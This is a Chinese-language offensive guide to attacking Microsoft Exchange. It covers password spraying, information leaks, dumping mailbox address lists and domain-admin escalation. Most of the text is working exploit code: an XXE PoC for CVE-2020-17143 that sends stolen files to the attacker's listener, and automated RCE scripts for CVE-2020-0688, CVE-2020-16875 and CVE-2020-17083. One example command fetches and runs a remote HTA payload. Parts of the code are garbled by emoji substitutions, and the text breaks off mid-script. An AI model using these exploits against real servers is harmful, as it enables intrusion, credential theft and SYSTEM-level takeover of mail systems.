Exchange漏洞总结
0x00 前言
在渗透测试过程中,Exchange是一个比较奇妙的角色。
一方面,Exchange在外网分布很广,是外网打点人员进入内网的一个重要渠道。
另外一方面,Exchange在域内有着重要的地位,一般来说,拿到Exchange服务器的权限,基本等同于拿到域管的权限。因此他又是内网选手重点关注对象。
本文将总结部分Exchange已知的特性以及漏洞。
没有Exchange凭据的情况,主要有
爆破
泄露内网信息
配合钓鱼进行NTLM_Relay
有Exchange凭据的情况下,主要有
导出邮箱列表
Exchange RCE漏洞
Exchange SSRF 进行NTLM_Relay
使用hash/密码 操作EWS接口
攻击outlook客户端
从Exchange到域管
以下详细说明
查看补丁号
请求http://a.com/owa/favicon.ico
0x01爆破
在外网,看到开着Exchange,出现如下界面,我们可能第一反应就是爆破。
出现上面那种还好,burp拦截下,爆破开始。
但是在渗透过程中,经常出现以下这种情况
对于这种情况,我们无需绕过验证码即可进行爆破.
事实上,除了上面那个界面之外,以下接口都可进行爆破,而且支持Basic认证方式.
/ecp,/ews,/oab,/owa,/rpc,/api,/mapi,/powershell,/autodiscover,/Microsoft-Server-ActiveSync
这里推荐使用https://github.com/grayddq/EBurst这款工具,他能寻找可以爆破的接口,从而进行爆破
python EBurst.py -L users.txt -p 123456abc -d mail.xxx.com
有个需要注意的点就是这款工具不支持自签名证书,我们手动改下,忽略证书错误就行
0x02信息泄露
CVE-2020-17143
一、漏洞简介
此漏洞使远程攻击者可以披露有关受影响的Exchange Server安装的信息。利用身份验证才能利用此漏洞。
特定缺陷存在于GetWacIframeUrlForOneDrive服务命令的处理中。造成此问题的原因是缺乏对用户提供的xml的正确验证。攻击者可以利用此漏洞在SYSTEM上下文中披露信息。
二、漏洞影响
Microsoft Exchange Server 2013 Cumulative Update 23
Microsoft Exchange Server 2016 Cumulative Update 18
Microsoft Exchange Server 2019 Cumulative Update 7
Microsoft Exchange Server 2016 Cumulative Update 17
Microsoft Exchange Server 2019 Cumulative Update 6
三、复现过程
poc
CVE-2020-17143.py
!/usr/bin/env python3
import re
import sys
import urllib3
import requests
from threading import Thread
from http.server import BaseHTTPRequestHandler, HTTPServer
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
class xxe(BaseHTTPRequestHandler):
def log_message(self, format, *args):
return
def _set_response(self, d):
self.send_response(200)
self.send_header('Content-type', 'application/xml')
self.send_header('Content-Length', len(d))
self.end_headers()
def do_GET(self):
if "leaked" in self.path:
print("(+) stolen: %s" % self.path)
message = " ]]>"
self._set_response(message)
self.wfile.write(message.encode('utf-8'))
self.wfile.write('\n'.encode('utf-8'))
elif "poc.dtd" in self.path:
print("(+) triggered xxe in exchange server!")
message = """
%%param1; %%external;""" % (host, int(port))
self._set_response(message)
self.wfile.write(message.encode('utf-8'))
self.wfile.write('\n'.encode('utf-8'))
elif "poc.xml" in self.path:
d = """
%%dtd;
]>""" % (file, host, int(port))
self._set_response(d)
self.wfile.write(d.encode('utf-8'))
self.wfile.write('\n'.encode('utf-8'))
return
def main(t, usr, pwd, port):
server = HTTPServer(('0.0.0.0', port), xxe)
handlerthr = Thread(target=server.serve_forever, args=())
handlerthr.daemon = True
handlerthr.start()
s = requests.Session()
d = {
"destination" : "https://%s/owa" % t,
"flags" : "",
"username" : usr,
"password" : pwd
}
s.post("https://%s/owa/auth.owa" % t, data=d, verify=False)
h = {
"X-OWA-UrlPostData" : '{"request":{"DocumentUrl":"","EndPointUrl":"http://%s:%d/poc.xml"}}' % (host, port),
"Action" : "GetWacIframeUrlForOneDrive"
}
r = s.post("https://%s/owa/service.svc" % t, headers=h, verify=False)
assert s.cookies.get(name='X-OWA-CANARY') != None, "(-) couldn't leak the csrf canary!"
h["X-OWA-CANARY"] = s.cookies.get(name='X-OWA-CANARY')
s.post("https://%s/owa/service.svc" % t, headers=h, verify=False)
if name == 'main':
if len(sys.argv) != 5:
print("(+) usage: %s
print("(+) eg: %s 192.168.75.142 harryh@exchangedemo.com:user123# 192.168.75.1:9090 "C:/Users/harryh/secrets.txt"" % sys.argv[0])
sys.exit(-1)
trgt = sys.argv[1]
assert ":" in sys.argv[2], "(-) you need a user and password!"
usr = sys.argv[2].split("😊[0]
pwd = sys.argv[2].split("😊[1]
host = sys.argv[3]
port = 9090
file = sys.argv[4]
if ":" in sys.argv[3]:
host = sys.argv[3].split("😊[0]
port = sys.argv[3].split("😊[1]
assert port.isdigit(), "(-) not a port number!"
main(trgt, usr, pwd, int(port))
- 泄露Exchange服务器内网IP 地址
把HTTP协议版本修改成1.0,然后去掉http头里面的HOST参数 或者使用msf auxiliary/scanner/http/owa_iis_internal_ip
可用以匹配的接口列表有
/Microsoft-Server-ActiveSync/default.eas
/Microsoft-Server-ActiveSync
/Autodiscover/Autodiscover.xml
/Autodiscover
/Exchange
/Rpc
/EWS/Exchange.asmx
/EWS/Services.wsdl
/EWS
/ecp
/OAB
/OWA
/aspnet_client
/PowerShell
有两个坑点
如果测试的是文件夹,后面没加/,比如/owa,有些环境会重定向到/owa/,可能导致无法获取到IP
msf的脚本里面限定了内网IP范围,如果企业是自定义的内网IP,可能无法获取到IP(代码)
- 泄露Exchange服务器操作系统,主机名,Netbios名
由于支持ntlm认证,在文章利用ntlm进行的信息收集里面已经讲过
在type2返回Challenge的过程中,同时返回了操作系统类型,主机名,netbios名等等。这也就意味着如果我们给服务器发送一个type1的请求,服务器返回type2的响应,这一步,我们就可以得到很多信息。
因此我们可以获取很多信息了,这里使用nmap进行扫描
sudo nmap MAIL -p 443 --script http-ntlm-info --script-args http-ntlm-info.root=/rpc/rpcproxy.dll
0x03导出邮箱列表
- 使用ruler
ruler_windows_amd64.exe --insecure --url https://MAIL/autodiscover/autodiscover.xml --email daiker@Linton-Lab.com -u daiker -p 密码 --verbose --debug abk dump -o list.txt
- 使用MailSniper.ps1
https://github.com/dafthack/MailSniper/blob/master/MailSniper.ps1
Get-GlobalAddressList -ExchHostname MAIL -UserName CORP\daiker -Password 密码 -OutFile global-address-list.txt
- 使用burp
登录exchange owa,右上角点击人员,左侧所有人员,抓包 一个POST类型的包 POST /owa/service.svc?action=FindPeople&ID=-34&AC=1 Body中有这个字段
默认是80
然后查看响应包,拉到最后
image-20211125195444334
这个是总的邮箱数,然后把80 改成这个数,直接发,就是邮箱数,但是有点多,burp容易卡死。可以这样右键copy as request(这一步需要装插件),然后复制到python文件里面,后面的内容改下,本来最后一行是
requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies)
改成
r = requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies)
j = r.json()
results = j.get('Body').get('ResultSet')
import json
print(json.dumps(results))
然后运行python
python 1.py | jq '.[].EmailAddresses[0].EmailAddress' -r|sort|uniq|
这样就提取出所有的邮箱
4. 使用impacket底下的exchanger.py
今年5月份刚更新的一个脚本
python exchanger.py DOMAIN/daiker:密码@MAIL nspi list-tables
python exchanger.py DOMAIN/daiker:密码@MAIL nspi dump-tables -guidxxxx
- 通过OAB
(1) 读取Autodiscover配置信息,获取OABUrl
POST /autodiscover/autodiscover.xml HTTP/1.1
Host: MAIL
Accept-Encoding: gzip, deflate
Accept: /
Authorization: Basic YmllamllbGU=
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Connection: close
Content-Type: text/xml; charset=utf-8
Content-Length: 355
(2) 读取OAB文件列表
OABUrl/oab.xml
(3) 下载lzx文件
OABUrl/xx.lzx
(4) 对lzx文件解码,还原出Default Global Address List
Kali下直接使用的版本下载地址:http://x2100.icecube.wisc.edu/downloads/python/python2.6.Linux-x86_64.gcc-4.4.4/bin/oabextract
./oabextract 67a0647b-8218-498c-91b4-311d4cabd00c-data-1315.lzx gal.oab
strings gal.oab|grep SMTP
0x04RCE漏洞
网上一搜Exchange的RCE漏洞还挺多的,但是在实际渗透中,只需要一个普通用户凭据,不需要其他条件的,主要有CVE-2020-0688和CVE-2020-17144
CVE-2020-0688
一、漏洞简介
该漏洞是由于Exchange Control Panel(ECP)组件中使用了静态秘钥(validationKey和decryptionKey)所导致的。
所有Microsoft Exchange Server在安装后的web.config文件中都拥有相同的validationKey和decryptionKey。这些密钥用于保证ViewState的安全性。而ViewState是ASP.NET Web应用以序列化格式存储在客户机上的服务端数据。客户端通过__VIEWSTATE请求参数将这些数据返回给服务器。
经过身份验证的攻击者可以从身份验证的session中收集ViewStateUserKey,并在登录请求的原始响应中获得__VIEWSTATEGENERATOR。通过这两个值可以利用YSoSerial.net工具生成恶意的ViewState,从而在ECP中执行任意的.NET代码。由于ECP应用程序是以SYSTEM权限运行的,因而成功利用此漏洞的攻击者可以以SYSTEM身份执行任意代码,并完全控制目标Exchange服务器。
二、漏洞影响
Microsoft Exchange Server 2010 Service Pack 3 Update Rollup 30
Microsoft Exchange Server 2013 Cumulative Update 23
Microsoft Exchange Server 2016 Cumulative Update 14
Microsoft Exchange Server 2016 Cumulative Update 15
Microsoft Exchange Server 2019 Cumulative Update 3
Microsoft Exchange Server 2019 Cumulative Update 4
三、复现过程
需要一个普通权限的登录账号
根据网上的漏洞利用方式分析,漏洞出现在Exchange Control Panel (ECP)组件中,所有Microsoft Exchange Server在安装后的web.config文件中都拥有相同的validationKey和decryptionKey。
这些密钥用于保证ViewState的安全性,而ViewState是ASP.NET Web应用以序列化格式存储在客户机上的服务端数据。由于密钥是静态的,攻击者有了这两个密钥,就可以使用 YSoSerial.net 生成序列化后的ViewState数据,从而在Exchange Control Panel web应用上执行任意.net代码。
静态的密钥在所有Microsoft Exchange Server在安装后的C:\Program Files\Microsoft\Exchange Server\V15\ClientAccess\ecp\web.config文件中都是相同的:
validationkey = CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF
validationalg = SHA1
我们要构造ViewState还需要viewstateuserkey和__VIEWSTATEGENERATOR,
viewstateuserkey为用户登录后的ASP.NET_SessionId:
__VIEWSTATEGENERATOR在/ecp/default.aspx的前端页面里面直接获取:
当拥有了validationkey,validationalg,viewstateuserkey,__VIEWSTATEGENERATOR,使用YSoSerial.net生成序列化后的恶意的ViewState数据:
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "calc.exe" --validationalg="SHA1" --validationkey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF" --generator="B97B4E27" --viewstateuserkey="2fdc8b0d-dcfb-4d0a-b464-95b9a2dcc968" --isdebug –-islegacy
构造以下URL,使用生成的payload替换,使用上面所说的value值替换,最后用GET请求发送给服务器即可。
http://url/ecp/default.aspx?__VIEWSTATEGENERATOR=
收到dns请求
由于Exchange Server的机器用户具备SYSTEM权限,默认在域内拥有WriteAcl的权限,因此,可以通过修改ACL的DS-Replication-Get-Changes和DS-Replication-Get-Changes-All来赋予任何一个用户Dcsync的权限,所以这个漏洞的最大危害在于:在域内拥有一个普通用户权限的情况下,通过Exchange Server上以system用户的身份执行任意的命令,再利用Exchange Server的WriteAcl权限,从而达到域管权限。
附录
经过简单测试,已知可利用路径:
/ecp/default.aspx
__VIEWSTATEGENERATOR=B97B4E27
/ecp/PersonalSettings/HomePage.aspx?showhelp=false&
__VIEWSTATEGENERATOR=1D01FD4E
/ecp/PersonalSettings/HomePage.aspx?showhelp=false&
__VIEWSTATEGENERATOR=1D01FD4E
/ecp/Organize/AutomaticReplies.slab?showhelp=false&
__VIEWSTATEGENERATOR=FD338EE0
/ecp/RulesEditor/InboxRules.slab?showhelp=false&
__VIEWSTATEGENERATOR=FD338EE0
/ecp/Organize/DeliveryReports.slab?showhelp=false&
__VIEWSTATEGENERATOR=FD338EE0
/ecp/MyGroups/PersonalGroups.aspx?showhelp=false&
__VIEWSTATEGENERATOR=A767F62B
/ecp/MyGroups/ViewDistributionGroup.aspx?pwmcid=1&id=38f4bec5-704f-4272-a654-95d53150e2ae&ReturnObjectType=1
__VIEWSTATEGENERATOR=321473B8
/ecp/Customize/Messaging.aspx?showhelp=false&
__VIEWSTATEGENERATOR=9C5731F0
/ecp/Customize/General.aspx?showhelp=false&
__VIEWSTATEGENERATOR=72B13321
/ecp/Customize/Calendar.aspx?showhelp=false&
__VIEWSTATEGENERATOR=4AD51055
/ecp/Customize/SentItems.aspx?showhelp=false&
__VIEWSTATEGENERATOR=4466B13F
/ecp/PersonalSettings/Password.aspx?showhelp=false&
__VIEWSTATEGENERATOR=59543DCA
/ecp/SMS/TextMessaging.slab?showhelp=false&
__VIEWSTATEGENERATOR=FD338EE0
/ecp/TroubleShooting/MobileDevices.slab?showhelp=false&
__VIEWSTATEGENERATOR=FD338EE0
/ecp/Customize/Regional.aspx?showhelp=false&
__VIEWSTATEGENERATOR=9097CD08
/ecp/MyGroups/SearchAllGroups.slab?pwmcid=3&ReturnObjectType=1
__VIEWSTATEGENERATOR=FD338EE0
/ecp/Security/BlockOrAllow.aspx?showhelp=false&
__VIEWSTATEGENERATOR=362253EF
全自动(支持加密)
CVE-2020-0688_EXP Auto trigger payload
python3 CVE-2020-0688_EXP.py -h
usage: CVE-2020-0688_EXP.py [-h] -s SERVER -u USER -p PASSWORD -c CMD [-e]
optional arguments:
-h, --help show this help message and exit
-s SERVER, --server ECP Server URL Example: http://ip/owa
-u USER, --user USER login account Example: domain\user
-p PASSWORD, --password PASSWORD
-c CMD, --cmd CMD Command u want to execute
-e, --encrypt Encrypt the payload
example:
python CVE-2020-0688_EXP.py -s https://mail.x.com/ -u user@x.com -p passwd -c "mshta http://1.1.1.1/test.hta"
需要把ysoserial.exe 放当前目录
https://github.com/ianxtianxt/ysoserial.net/
encoding: UTF-8
import requests
import readline
import argparse
import re
import sys
import os
import urllib3
from urllib.parse import urlparse
from urllib.parse import quote
urllib3.disable_warnings()
ysoserial_path = os.path.abspath(os.path.dirname(file))+"/ysoserial-1.32/"
session = requests.Session()
def get_value(url, user, pwd):
print("[] Tring to login owa...")
tmp = urlparse(url)
base_url = "{}😕/{}".format(tmp.scheme, tmp.netloc)
paramsPost = {"password": ""+pwd+"", "isUtf8": "1", "passwordText": "", "trusted": "4",
"destination": ""+url+"", "flags": "4", "forcedownlevel": "0", "username": ""+user+""}
headers = {"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8", "Upgrade-Insecure-Requests": "1",
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:73.0) Gecko/20100101 Firefox/73.0", "Connection": "close", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/x-www-form-urlencoded", "Cookie": "PrivateComputer=true; PBack=0"}
cookies = {"PBack": "0", "PrivateComputer": "true"}
login_url = base_url + '/owa/auth.owa'
print("[+] Login url: {}".format(login_url))
try:
login = session.post(login_url, data=paramsPost,
headers=headers, verify=False, timeout=30)
print("[] Status code: %i" % login.status_code)
if "reason=" in login.text or "reason=" in login.url and "owaLoading" in login.text:
print("[!] Login Incorrect, please try again with a different account..")
# sys.exit(1)
#print(str(response.text))
except Exception as e:
print("[!] login error , error: {}".format(e))
sys.exit(1)
print("[+] Login successfully! ")
try:
print("[] Tring to get __VIEWSTATEGENERATOR...")
target_url = "{}/ecp/default.aspx".format(base_url)
new_response = session.get(target_url, verify=False, timeout=15)
view = re.compile(
'id="__VIEWSTATEGENERATOR" value="(.+?)"').findall(str(new_response.text))[0]
print("[+] Done! __VIEWSTATEGENERATOR:{}".format(view))
except:
view = "B97B4E27"
print("[] Can't get __VIEWSTATEGENERATOR, use default value: {}".format(view))
try:
print("[] Tring to get ASP.NET_SessionId....")
key = session.cookies['ASP.NET_SessionId']
print("[+] Done! ASP.NET_SessionId: {}".format(key))
except Exception as e:
key = None
print("[!] Get ASP.NET_SessionId error, error: {} \n[] Exit..".format(e))
return view, key, base_url
def ysoserial(cmd):
cmd = ysoserial_path+cmd
r = os.popen(cmd)
res = r.readlines()
return res[-1]
def main():
parser = argparse.ArgumentParser()
parser.add_argument("-s", "--server", required=True, help="ECP Server URL Example: http://ip/owa")
parser.add_argument("-u", "--user", required=True, help="login account Example: domain\user")
parser.add_argument("-p", "--password", required=True, help="Password")
parser.add_argument("-c", "--cmd", help="Command u want to execute", required=True)
parser.add_argument("-e", "--encrypt", help="Encrypt the payload", action='store_true',default=False)
args = parser.parse_args()
url = args.server
print("[] Start to exploit..")
user = args.user
pwd = args.password
command = args.cmd
view, key, base_url = get_value(url, user, pwd)
if key is None:
key = 'test'
sys.exit(1)
ex_payload = """ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "{}" --validationalg="SHA1" --validationkey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF" --generator="{}" --viewstateuserkey="{}" --islegacy """.format(command,view,key)
if args.encrypt:
re_payload = ex_payload + ' --decryptionalg="3DES" --decryptionkey="E9D2490BD0075B51D1BA5288514514AF" --isencrypted'
else:
re_payload = ex_payload + " --isdebug"
print("\n"+re_payload)
out_payload = ysoserial(re_payload)
if args.encrypt:
final_exp = "{}/ecp/default.aspx?__VIEWSTATEENCRYPTED=&__VIEWSTATE={}".format(base_url, quote(out_payload))
else:
final_exp = "{}/ecp/default.aspx?__VIEWSTATEGENERATOR={}&__VIEWSTATE={}".format(base_url, view, quote(out_payload))
print("\n[+] Exp url: {}".format(final_exp))
print("\n[] Auto trigger payload..")
status = session.get(final_exp,verify=False,timeout=15)
if status.status_code==500:
print("[*] Status code: %i, Maybe success!" % status.status_code)
if name == "main":
main()
参考链接
https://www.anquanke.com/post/id/199772
CVE-2020-16875
一、漏洞简介
有安全人员公开了Exchange Server远程代码执行漏洞(CVE-2020-16875)的利用程序,此漏洞为微软在9月8日例行月度安全更新中披露;Microsoft Exchange在Internet Explorer处理内存中的对象时存在该漏洞。利用此漏洞需要具有以某个Exchange角色进行身份验证的用户权限。
攻击者可通过向受影响的Exchange服务器发送包含特殊的cmdlet参数的邮件来触发此漏洞,成功利用此漏洞的攻击者可在受影响的系统上以system权限执行任意代码。
利用条件
需要一个Exchange用户账号
二、漏洞影响
Microsoft:Exchange_server_2016: cu16/cu17
Microsoft:Exchange_server_2019: cu5/cu6
三、复现过程
需要一个Exchange用户账号。就能在Exchange服务器上执行任意命令。
poc
CVE-2020-16875.py
!/usr/bin/env python3
"""
Microsoft Exchange Server DlpUtils AddTenantDlpPolicy Remote Code Execution Vulnerability
Patch: https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2020-16875
Notes:
The (ab)user needs the "Data Loss Prevention" role assigned and if performing the attack over the ecp interface (this poc) then the user will need an active mailbox.
[PS] C:\Windows\system32>New-RoleGroup -Name "dlp users" -Roles "Data Loss Prevention" -Members "harrym"
Name AssignedRoles RoleAssignments ManagedBy
dlp users {Data Loss Prevention} {Data Loss Prevention-dlp users} {exchangedemo.com/Microsoft Exchange Security Groups/Organization Management, exchangedemo.com/Users/test}
[PS] C:\Windows\system32>Get-RoleGroup "dlp users" | Format-List
RunspaceId : 098e1140-30e3-4144-8028-2174fdb43b85
ManagedBy : {exchangedemo.com/Microsoft Exchange Security Groups/Organization Management, exchangedemo.com/Users/test}
RoleAssignments : {Data Loss Prevention-dlp users}
Roles : {Data Loss Prevention}
DisplayName :
ExternalDirectoryObjectId :
Members : {exchangedemo.com/Users/Harry Mull}
SamAccountName : dlp users
Description :
RoleGroupType : Standard
LinkedGroup :
Capabilities : {}
LinkedPartnerGroupId :
LinkedPartnerOrganizationId :
Identity : exchangedemo.com/Microsoft Exchange Security Groups/dlp users
IsValid : True
ExchangeVersion : 0.10 (14.0.100.0)
Name : dlp users
DistinguishedName : CN=dlp users,OU=Microsoft Exchange Security Groups,DC=exchangedemo,DC=com
Guid : fa5c8458-8255-4ffd-b128-2a66bf9dbfd6
ObjectCategory : exchangedemo.com/Configuration/Schema/Group
ObjectClass : {top, group}
WhenChanged : 6/12/2020 11:29:31 PM
WhenCreated : 6/12/2020 11:29:31 PM
WhenChangedUTC : 6/12/2020 3:29:31 PM
WhenCreatedUTC : 6/12/2020 3:29:31 PM
OrganizationId :
Id : exchangedemo.com/Microsoft Exchange Security Groups/dlp users
OriginatingServer : DEAD01.exchangedemo.com
ObjectState : Changed
Example:
researcher@incite:~$ ./poc.py
(+) usage: ./poc.py
(+) eg: ./poc.py 192.168.75.142 harrym@exchangedemo.com:user123### mspaint
researcher@incite:~$ ./poc.py 192.168.75.142 harrym@exchangedemo.com:user123### mspaint
(+) logged in as harrym@exchangedemo.com
(+) found the __viewstate: /wEPDwUILTg5MDAzMDFkZFAeyPS7/eBJ4lPNRNPBjm8QiWLWnirQ1vsGlSyjVxa5
(+) executed mspaint as SYSTEM!
"""
import re
import sys
import random
import string
import urllib3
import requests
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def random_string(str_len=8):
letters = string.ascii_lowercase
return ''.join(random.choice(letters) for i in range(str_len))
def get_xml(c):
return """
def trigger_rce(t, s, vs, cmd):
f = {
'__VIEWSTATE': (None, vs),
'ctl00$ResultPanePlaceHolder$senderBtn': (None, "ResultPanePlaceHolder_ButtonsPanel_btnNext"),
'ctl00$ResultPanePlaceHolder$contentContainer$name': (None, random_string()),
'ctl00$ResultPanePlaceHolder$contentContainer$upldCtrl': ("dlprce.xml", get_xml(cmd)),
}
r = s.post("https://%s/ecp/DLPPolicy/ManagePolicyFromISV.aspx" % t, files=f, verify=False)
assert r.status_code == 200, "(-) failed to trigger rce!"
def leak_viewstate(t, s):
r = s.get("https://%s/ecp/DLPPolicy/ManagePolicyFromISV.aspx" % t, verify=False)
match = re.search("<input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" value="(.*)" />", r.text)
assert match != None, "(-) couldn't leak the __viewstate!"
return match.group(1)
def log_in(t, usr, pwd):
s = requests.Session()
d = {
"destination": "https://%s/owa" % t,
"flags": "",
"username": usr,
"password": pwd
}
s.post("https://%s/owa/auth.owa" % t, data=d, verify=False)
assert s.cookies.get(name='X-OWA-CANARY') != None, "(-) couldn't leak the csrf canary!"
return s
def main(t, usr, pwd, cmd):
s = log_in(t, usr, pwd)
print("(+) logged in as %s" % usr)
vs = leak_viewstate(t, s)
print("(+) found the __viewstate: %s" % vs)
trigger_rce(t, s, vs, cmd)
print("(+) executed %s as SYSTEM!" % cmd)
if name == 'main':
if len(sys.argv) != 4:
print("(+) usage: %s
print("(+) eg: %s 192.168.75.142 harrym@exchangedemo.com:user123### mspaint" % sys.argv[0])
sys.exit(-1)
trgt = sys.argv[1]
assert ":" in sys.argv[2], "(-) you need a user and password!"
usr = sys.argv[2].split("😊[0]
pwd = sys.argv[2].split("😊[1]
cmd = sys.argv[3]
main(trgt, usr, pwd, cmd)
powershell版本:
Microsoft Exchange Server DlpUtils AddTenantDlpPolicy Remote Code Execution Vulnerability
Patch: https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2020-16875
Notes:
The (ab)user needs the "Data Loss Prevention" role assigned
[PS] C:\Windows\system32>New-RoleGroup -Name "dlp users" -Roles "Data Loss Prevention" -Members "harrym"
Name AssignedRoles RoleAssignments ManagedBy
---- ------------- --------------- ---------
dlp users {Data Loss Prevention} {Data Loss Prevention-dlp users}
[PS] C:\Windows\system32>Get-RoleGroup "dlp users" | Format-List
RunspaceId : 098e1140-30e3-4144-8028-2174fdb43b85
ManagedBy :
RoleAssignments :
Roles :
DisplayName :
ExternalDirectoryObjectId :
Members :
SamAccountName : dlp users
Description :
RoleGroupType : Standard
LinkedGroup :
Capabilities : {}
LinkedPartnerGroupId :
LinkedPartnerOrganizationId :
Identity : exchangedemo.com/Microsoft Exchange Security Groups/dlp users
IsValid : True
ExchangeVersion : 0.10 (14.0.100.0)
Name : dlp users
DistinguishedName : CN=dlp users,OU=Microsoft Exchange Security Groups,DC=exchangedemo,DC=com
Guid : fa5c8458-8255-4ffd-b128-2a66bf9dbfd6
ObjectCategory : exchangedemo.com/Configuration/Schema/Group
ObjectClass :
WhenChanged : 6/12/2020 11:29:31 PM
WhenCreated : 6/12/2020 11:29:31 PM
WhenChangedUTC : 6/12/2020 3:29:31 PM
WhenCreatedUTC : 6/12/2020 3:29:31 PM
OrganizationId :
Id : exchangedemo.com/Microsoft Exchange Security Groups/dlp users
OriginatingServer : DEAD01.exchangedemo.com
ObjectState : Changed
Example:
PS C:\Users\researcher> .\poc.ps1 -server WIN-0K4AOM2JIN6.exchangedemo.com -usr harrym@exchangedemo.com -pwd user123### -cmd mspaint
(+) targeting WIN-0K4AOM2JIN6.exchangedemo.com with harrym@exchangedemo.com:user123###
(+) executed mspaint as SYSTEM!
PS C:\Users\researcher>
param (
[Parameter(Mandatory=$true)][string]$server,
[Parameter(Mandatory=$true)][string]$usr,
[Parameter(Mandatory=$true)][string]$pwd,
[string]$cmd = "mspaint"
)
Function Get-RandomAlphanumericString {
[CmdletBinding()]
Param (
[int] $length = 8
)
Process{
Write-Output ( -join ((0x30..0x39) + ( 0x41..0x5A) + ( 0x61..0x7A) | Get-Random -Count $length | % {[char]$_}) )
}
}
function Exploit-Exchange {
Param (
[string] $server,
[string] $usr,
[string] $pwd,
[string] $cmd
)
"(+) targeting $server with ${usr}:$pwd"
$securepwd = ConvertTo-SecureString $pwd -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential -ArgumentList ($usr, $securepwd)
$s = New-PSSession -ConfigurationName Microsoft.Exchange -ConnectionUri http://$server/PowerShell/ -Authentication Kerberos -Credential $creds
$xml = @"
$n = Get-RandomAlphanumericString
[Byte[]]$d = [System.Text.Encoding]::UTF8.GetBytes($xml)
Invoke-Command -Session $s -ScriptBlock {
New-DlpPolicy -Name $Using:n -TemplateData $Using:d
} | Out-Null
"(+) executed $cmd as SYSTEM!"
}
Get-PSSession | Remove-PSSession
Exploit-Exchange -server $server -usr $usr -pwd $pwd -cmd $cmd
CVE-2020-17083
一、漏洞简介
二、漏洞影响
Microsoft Exchange Server 2016 Cumulative Update 18
Microsoft Exchange Server 2019 Cumulative Update 7
Microsoft Exchange Server 2016 Cumulative Update 17
Microsoft Exchange Server 2019 Cumulative Update 6
Microsoft Exchange Server 2013 Cumulative Update 23
三、复现过程
poc
CVE-2020-17083.ps1
Microsoft Exchange Server ExportExchangeCertificate WriteCertiricate File Write Remote Code Execution Vulnerability
Patch: https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2020-17083
CVSS v3: 9.1 (/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H/E:P/RL:O/RC:C)
Notes:
The (ab)user needs the "Exchange Server Certificates" role assigned
[PS] C:\Windows\system32>New-RoleGroup -Name "cert users" -Roles "Exchange Server Certificates" -Members "harryh"
Name AssignedRoles RoleAssignments ManagedBy
---- ------------- --------------- ---------
cert users {Exchange Server Certificates} {Exchange Server Certificates-cert users}
[PS] C:\Windows\system32>Get-RoleGroup "cert users" | Format-List
RunspaceId : a97d7e2c-d036-4bfc-b95c-4fabcb644160
ManagedBy :
RoleAssignments :
Roles :
DisplayName :
ExternalDirectoryObjectId :
Members :
SamAccountName : cert users
Description :
RoleGroupType : Standard
LinkedGroup :
Capabilities : {}
LinkedPartnerGroupId :
LinkedPartnerOrganizationId :
Identity : exchangedemo.com/Microsoft Exchange Security Groups/cert users
IsValid : True
ExchangeVersion : 0.10 (14.0.100.0)
Name : cert users
DistinguishedName : CN=cert users,OU=Microsoft Exchange Security Groups,DC=exchangedemo,DC=com
Guid : 6fb0b860-2cc2-4fe1-9489-d93dbbed8c9f
ObjectCategory : exchangedemo.com/Configuration/Schema/Group
ObjectClass :
WhenChanged : 6/12/2020 4:15:54 AM
WhenCreated : 6/12/2020 1:34:51 AM
WhenChangedUTC : 6/11/2020 8:15:54 PM
WhenCreatedUTC : 6/11/2020 5:34:51 PM
OrganizationId :
Id : exchangedemo.com/Microsoft Exchange Security Groups/cert users
OriginatingServer : DEAD01.exchangedemo.com
ObjectState : Changed
Example:
PS C:\Users\researcher> .\poc.ps1 -server WIN-0K4AOM2JIN6.exchangedemo.com -usr harryh@exchangedemo.com -pwd user123### -cmd mspaint
(+) targeting WIN-0K4AOM2JIN6.exchangedemo.com with harryh@exchangedemo.com:user123###
(+) wrote to target file C:/Windows/Temp/rXq1U2tD.hta
(+) wrote to target file C:/Program Files/Microsoft/Exchange Server/V15/ClientAccess/ecp/4VFQwc7W.aspx
(+) shell written, executing command...
(+) executed mspaint as SYSTEM!
PS C:\Users\researcher>
param (
[Parameter(Mandatory=$true)][string]$server,
[Parameter(Mandatory=$true)][string]$usr,
[Parameter(Mandatory=$true)][string]$pwd,
[string]$cmd = "mspaint"
)
Function Get-RandomAlphanumericString {
[CmdletBinding()]
Param (
[int] $length = 8
)
Process{
Write-Output ( -join ((0x30..0x39) + ( 0x41..0x5A) + ( 0x61..0x7A) | Get-Random -Count $length | % {[char]$_}) )
}
}
function Writebad-File{
Param (
[string] $fn,
[string] $content,
[System.Management.Automation.Runspaces.PSSession] $session
)
$selector = Get-RandomAlphanumericString
Invoke-Command -Session $session -ScriptBlock {
New-ExchangeCertificate -BinaryEncoded -GenerateRequest -SubjectName "c=$Using:selector,o=$Using:content,cn=si"
} | Out-Null
$thumb = Invoke-Command -Session $session -ScriptBlock {
Get-ExchangeCertificate
} | Where-Object -Property Subject -like "c=$selector" | select-object -Expand Thumbprint
# this is where the file write is for this bug
Invoke-Command -Session $session -ScriptBlock {
Export-ExchangeCertificate -Thumbprint $Using:thumb -FileName $Using:fn -BinaryEncoded;
} | Out-Null
}
function Exploit-Exchange {
Param (
[string] $server,
[string] $usr,
[string] $pwd,
[string] $cmd
)
"(+) targeting $server with ${usr}:$pwd"
$securepwd = ConvertTo-SecureString $pwd -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential -ArgumentList ($usr, $securepwd)
